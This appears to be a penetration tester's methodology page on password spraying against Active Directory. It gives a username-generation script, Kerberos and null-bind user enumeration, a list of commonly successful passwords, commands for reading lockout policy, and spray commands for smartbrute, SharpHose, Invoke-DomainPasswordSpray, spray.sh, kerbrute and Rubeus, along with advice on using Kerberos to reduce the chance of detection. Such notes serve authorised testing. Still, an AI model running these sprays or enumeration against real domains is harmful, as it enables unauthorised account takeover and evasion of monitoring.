Exploitation - Password spraying
Password spraying refers to the attack method that takes a large number of usernames and attempts authentication with a limited number of likely passwords.
This method avoids accounts lockouts which is usually implemented on Active Directory authentication.
Password spraying all domain users and attempting lateral or vertical movement with the compromised accounts is often more effective than targeting specific users from the get-go.
Usernames list
Generated usernames
The following Python script can be used to generate an usernames list from combinations of first and last names.
#!/usr/bin/env python
import sys
import os.path
# Usage: namemash.py <FILE>.
# FILE: FIRSTNAME LASTNAME entries (one per-line).
if __name__ == "__main__":
if len(sys.argv) != 2:
print("usage: {} names.txt".format((sys.argv[0])))
sys.exit(0)
if not os.path.exists(sys.argv[1]):
print("{} not found".format(sys.argv[1]))
sys.exit(0)
for line in open(sys.argv[1]):
name = ''.join([c for c in line if c == " " or c.isalpha()])
tokens = name.lower().split()
# skip empty lines
if len(tokens) < 1:
continue
fname = tokens[0]
lname = tokens[-1]
print(fname + lname) # johndoe
print(lname + fname) # doejohn
print(fname + "." + lname) # john.doe
print(lname + "." + fname) # doe.john
print(lname + fname[0]) # doej
print(fname[0] + lname) # jdoe
print(lname[0] + fname) # djoe
print(fname[0] + "." + lname) # j.doe
print(lname[0] + "." + fname) # d.john
print(fname) # john
print(lname) # joeFrom domain controllers
To gather a list of usernames from the domain controllers a domain account is needed.
The Get-DomainUserList cmdlet of DomainPasswordSpray can be used to enumerate enabled users that would not be locked out by a wrong password guess:
Get-DomainUserList` -Domain <DOMAIN> -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii <OUTPUTFILE>To count the number of user in the domain:
cat <USERNAMES_FILE> | Measure-ObjectFor more details on possible options, notably to enumerate users from a non enrolled computer, refer to the Active Directory - Domain Recon note.
LDAP Anonymous and NULL bind
Misconfigured LDAP servers may be exploited to leak the usernames of the domain account. By default, anonymous operations to the Active Directory Domain Controllers LDAP services, other than rootDSE searches and binds, are not permitted. If the seventh character of DsHeuristics (CN=Directory Service, CN=Windows NT,CN=Services,CN=Configuration,<ROOT>) attribute is set to 2 (0000002), anonymous clients, authenticated through anonymous / NULL LDAP bind, may perform all the operations permitted, as defined by the Access Control List (ACL) of the domain objetcs, to NT AUTHORITY\ANONYMOUS.
To detect and exploit LDAP Anonymous and NULL bind refer to the L7 - LDAP note.
MSRPC NULL bind on Domain Controllers
Misconfigured permissions may allow a NULL bind on the SAMR or LSARPC RPC services on a Domain Controller, which could be leveraged to enumerate the AD domain user and password policy.
For more information on MSRPC NULL bind, refer to the [L7] MSRPC - Methodology note.
Kerberos bruteforce
Kerberos can be used to enumerate domain accounts by making Ticket-Granting Ticket (TGT) requests, with no pre-authentication, to the Key Distribution Center (KDC) with out the need of having a domain joined account.
Indeed, whenever an username specified for a TGT request does not exist, the KDC will respond with a KDC_ERR_C_PRINCIPAL_UNKNOWN error. If the account does exist, the KDC will request a pre authentication before delivering the TGT (KDC_ERR_PREAUTH_REQUIRED).
Note that if an account has the value DONT_REQ_PREAUTH in the UserAccountControl attribute, a TGT will be delivered with out pre authentication which allows for the offline brute-forcing of the TGT. Refer to the Active Directory - AS-REP Roasting note for more information on the attack.
Rubeus (Zer1to’s fork: https://github.com/Zer1t0/Rubeus), nmap's krb5-enum-users script, Kerbrute and metasploit's auxiliary/gather/kerberos_enumusers module can be used to enumerate usernames through Kerberos:
nmap -v -p 88 --script krb5-enum-users --script-args krb5-enum-users-realm='<DOMAIN_FQDN>',userdb=<WORDLIST_USER> <KDC_IP | KDC_HOSTNAME>
kerbrute userenum [--dc <KDC_IP | KDC_HOSTNAME>] -d <DOMAIN> <WORDLIST_USERS>
# Will conduct password bruteforcing as well
Rubeus.exe brute /users:<WORDLIST_USERS> /passwords:<WORDLIST_PASSWORDS> /domain:<DOMAIN> /outfile:<RESULT_FILE>
use auxiliary/gather/kerberos_enumusersPasswords list
For the success of a password attack, a good password list is essential.
The passwords must satisfied the password policy defined for the domain. To retrieve the password policy enforced, refer to the Active Directory - Domain Recon note.
The following passwords have been tried with great success:
<COMPANY_NAME><YEAR>
<COMPANY_NAME><YEAR>!
Bonjour<YEAR>
Bonjour<YEAR>!
Azerty1234
Azerty1234!Password and account lockout policies
The following commands can be used to determine the password and account lockout policies enforced on the domain:
# Parsed and human readable password and lockout policies
net accounts
net accounts /domain
# PowerShell
$RootDSE = Get-ADRootDSE
$RootDSE = Get-ADRootDSE -Server <DC> -Credential <PSCredential>
# Password policy
Get-ADObject $RootDSE.defaultNamingContext -Properties minPwdAge, maxPwdAge, minPwdLength, pwdHistoryLength, pwdProperties
# Account lockout policy
Get-ADObject $RootDSE.defaultNamingContext -Properties lockoutDuration, lockoutObservationWindow, lockoutThreshold
# AdFind.exe
AdFind.exe -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdpropertiesDefault password complexity rule (pwdProperties : 1) of Active Directory requires that passwords contain characters from three of the following five categories:
Uppercase characters of European languages
Lowercase characters of European languages
Base 10 digits (0 through 9)
Nonalphanumeric characters:
~!@#$%^&*_-+=\`|\(){}[]:;"'<>,.?/Any Unicode character that is categorized as an alphabetic character but is not uppercase or lowercase (includes Unicode characters from Asian languages)
The badPwdCount is reset to 0 after:
the
lockoutObservationWindowtime has completed with out a bad password attempta successful authentication was conducted
in case of a locked out account, the
lockoutDurationtime has completed or the account was manually unlocked
Note that, for some reason, the minPwdAge and maxPwdAge password policy properties and the lockout time is expressed in negative nanoseconds and must be divided by "-600000000" to be converted in effective minutes of lockout.
The following PowerShell one-liner can be used to this end:
$AccountPolicy = Get-ADObject $RootDSE.defaultNamingContext -Properties lockoutDuration, lockoutObservationWindow, lockoutThreshold
$AccountPolicy | Select @{n="PolicyType";e={"Account Lockout"}}, DistinguishedName, @{n="lockoutDuration";e={"$($_.lockoutDuration / -600000000) minutes"}}, @{n="lockout
ObservationWindow";e={"$($_.lockoutObservationWindow / -600000000) minutes"}}, lockoutThreshold | Format-ListFined Grained Password Policy enumeration
Introduced in the Windows Server 2008 Active Directory functional level, Fined Grained Password Policy (FGPP) is a functionality that allow the definition of password complexities and account lockout policies for different groups of users.
Note that while first available in Windows Server 2008, administrative tools adapted to the configuration of FGPP were released with Windows Server 2012.
# Enumerates the FGPP configured (including the FGPP's name, the AD group it applies to, password complexity and lockout policy).
Get-ADFineGrainedPasswordPolicy -Filter *
# Lists the users that are not associated to all or a specific FGPP.
$FGPP_groups = @("<FGPP_GROUP>" | "<FGPP_GROUP1>", "<FGPP_GROUP2>")
$FGPP_users = foreach ($group in $FGPP_groups) {
Get-ADGroupMember -Recursive $group | Select SamAccountName
}
$all_users = Get-ADUser -Filter * | Select SamAccountName
(Compare-Object $all_users $FGPP_users).InputObjectSpraying
[Windows] Automated enumeration and spraying
smartbrute - Recommended
smartbrute is a Python utility that can be used to both conduct unauthenticated and authenticated password spraying (to first retrieve password policies and avoid accounts lock out).
smartbrute supports both authentication bruteforce over NTLM or Kerberos (pre-authentication). NTLM authentication failures will generate 4625 failed logon events, while Kerberos pre-authentication failures will generate 4771 Kerberos pre-authentication failed events.
# Unauthenticated password spraying.
smartbrute.py brute -d <DOMAIN> [--no-enumeration] [--line-per-line] <-bu <USERNAME> | -bU <USERNAME_FILE>> <-bp <PASSWORD> | -bP <PASSWORDS_FILE> | -bh <HASH> | -bH <HASHES_FILE>> <ntlm | kerberos>
# Authenticated password spraying to retrieve the password policies and avoid account lockouts.
# AUTH_PROTOCOL & BRUTEFORCE_PROTOCOL can both be ntlm or Kerberos.
smartbrute.py smart [--line-per-line] <-bp <PASSWORD> | -bP <PASSWORDS_FILE> | -bh <HASH> | -bH <HASHES_FILE>> <AUTH_PROTOCOL> -d <DOMAIN> -u <AUTH_KNOWN_USER> -p <AUTH_KNOWN_PASSWORD> <BRUTEFORCE_PROTOCOL>SharpHose - Recommended
SharpHose is a C# tool that enumerate the AD domain users and password policies, including fine-grained password policies (Active Directory domain functional level must be Windows Server 2012 or newer). The fine-grained password policies are linked to the users or groups they apply to in order to precisely determine if an account can be safely bruteforced.
In addition to password spraying, SharpHose can be used to enumerate the domain policies or list the users the specified domain policy is applied to.
# Sprays the specified password
SharpHose.exe --action SPRAY_USERS --auto --spraypassword <PASSWORD> --output <OUTPUT_FOLDER>
SharpHose.exe --action SPRAY_USERS --domain "<DOMAIN>" --controller "<DC_IP | DC_HOSTNAME>" --username "<USERNAME>" --password "<PASSWORD>" --auto --spraypassword <PASSWORD> --output <OUTPUT_FOLDER>
# Enumerates the domain password policy and domain fine-grained password policies
SharpHose.exe --action GET_POLICIES
# Lists the users the specified password policy is applied to
SharpHose.exe --action GET_POLICY --policyInvoke-DomainPasswordSpray
The PowerShell cmdlet Invoke-DomainPasswordSpray will generate the usernames list of enabled domain accounts and will automatically attempt to detect the domain's lockout policy. Sprays are restricted to one attempt during the lockout window and accounts that would not be locked out by a wrong password guess.
An optional usernames list file can also be provided.
Invoke-DomainPasswordSpray -Force -Domain <DOMAIN> -Password <PASSWORD> -OutFile <OUTPUTFILE>
Invoke-DomainPasswordSpray -Force -Domain <DOMAIN> -PasswordList <PASSWORDS_FILE> -OutFile <OUTPUTFILE>[Linux] Over SMB
spray.sh is a bash scrip that can be used to carry out Active Directory passwords spraying. It will conduct the brute force over SMB using the rpcclient utility.
It can use the password policy of the domain as input to prevent accounts lockout.
# "skipuu" option to skip trying the username as password
spray.sh -smb <DC_IP> <WORDLIST_USERS> <WORDLIST_PASSWORDS> <ATTEMPTS_PER_LOCKOUT_PERIOD> <LOCKOUT_PERIOD_IN_MINUTES> <DOMAIN> skipuu
# Example
spray.sh -smb 192.168.0.1 users.txt passwords.txt 1 35 SPIDERLABSTo retrieve the obtained accounts:
grep 'Authority Name' logs/spray-logs.txt
grep -v NT_STATUS_LOGON_FAILURE logs/spray-logs.txtOver Kerberos
Note that log-on failures over Kerberos do not generate the classical Windows Security Log Event ID 4625: An account failed to log on. Indeed, the failures are logged as Windows Security Log Event ID 4771: Kerberos pre-authentication failed, that have an higher chance of not being monitored. It will still howerver increment the failed login count and lock out accounts.
Rubeus (Zer1to’s fork: https://github.com/Zer1t0/Rubeus) and Kerbrute can be used to conduct passwords spraying attacks through Kerberos:
kerbrute passwordspray [--dc <KDC_IP | KDC_HOSTNAME>] <DOMAIN> <WORDLIST_USERS> '<PASSWORD>'
# Username and password combinations in the format username:password
kerbrute bruteforce [--dc <KDC_IP | KDC_HOSTNAME>] <DOMAIN> <WORDLIST_USERS_PASSWORDS>
Rubeus.exe brute /users:<WORDLIST_USERS> /passwords:<WORDLIST_PASSWORDS> /domain:<DOMAIN> /outfile:<RESULT_FILE>References
https://social.technet.microsoft.com/Forums/ie/en-US/79978325-549e-42b3-a532-1e26775982bf/how-to-reset-badpwdcount-value?forum=winserverDS
Last updated